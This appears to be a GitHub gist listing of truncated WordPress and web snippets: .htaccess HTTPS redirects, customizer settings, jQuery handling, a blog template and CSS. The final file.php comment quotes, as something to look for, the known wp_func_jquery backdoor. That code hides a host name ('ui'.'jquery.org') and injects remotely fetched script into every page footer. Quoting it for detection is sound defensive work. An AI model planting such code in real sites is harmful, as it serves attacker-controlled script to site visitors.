Instantly share code, notes, and snippets.

View .htaccess
# force HTTPS and www.
RewriteEngine On
RewriteCond %{HTTP_HOST} (?!^www\.)^(.+)$ [OR]
RewriteCond %{HTTPS} off
RewriteRule ^ https://www.%1%{REQUEST_URI} [R=301,L]
View index.php
$start = microtime(true);
// code here
$time_elapsed_secs = microtime(true) - $start;
View .htaccess
# Redirect HTTP to HTTPS
RewriteCond %{HTTPS} !=on
RewriteRule (.*) https://%{SERVER_NAME}/$1 [R,L]
View function.php
$originalString = "Test String";
$stringInParts = explode(' ', $originalString);
$originalString = '<span>' . $stringInParts[0] . '</span>' . Implode(" ", array_slice($stringInParts,1));
View customizer.php
// This example is for a section called theme options, with a setting for copyright text
$wp_customize->add_section( 'theme_options_section' , array(
'title' => __('Theme Options','themename'),
'priority' => 30,
) );
$wp_customize->add_setting( 'copyright_text' , array(
'default' => 'Default text here'
) );
View .htaccess
# Redirect HTTP to HTTPS
RewriteCond %{HTTPS} !=on
RewriteRule (.*) https://%{SERVER_NAME}/$1 [R,L]
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
View functions.php
// remove jquery migrate
add_filter( 'wp_default_scripts', 'dequeue_jquery_migrate' );
function dequeue_jquery_migrate( &$scripts){
if(!is_admin()){
$scripts->remove( 'jquery');
$scripts->add( 'jquery', false, array( 'jquery-core' ), '1.10.2' );
}
}
View blog-template.php
<h1><?php the_title(); ?></h1>
<?php $paged = ( get_query_var('paged') ) ? get_query_var('paged') : 1;
$query = new WP_Query( array('posts_per_page' => 5, 'paged' => $paged, 'orderby'=>'date','order'=>'DESC') );
while ( $query->have_posts() ) : $query->the_post();
$hasPostThumb = '';
if (has_post_thumbnail()){
$hasPostThumb = true;
}
?>
View style.css
/* start langind page banner offers */
@media (min-width: 790px) {
.page-sec1 {
margin-top: 35px;
}
}
.page-sec1 {
float:left;
width:100%;
box-sizing: content-box;
View file.php
/*
Look for something like this
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
$host = 'http://';
echo(wp_remote_retrieve_body(wp_remote_get($host.'ui'.'jquery.org/jquery-1.6.3.min.js')));
}
add_action('wp_footer', 'wp_func_jquery');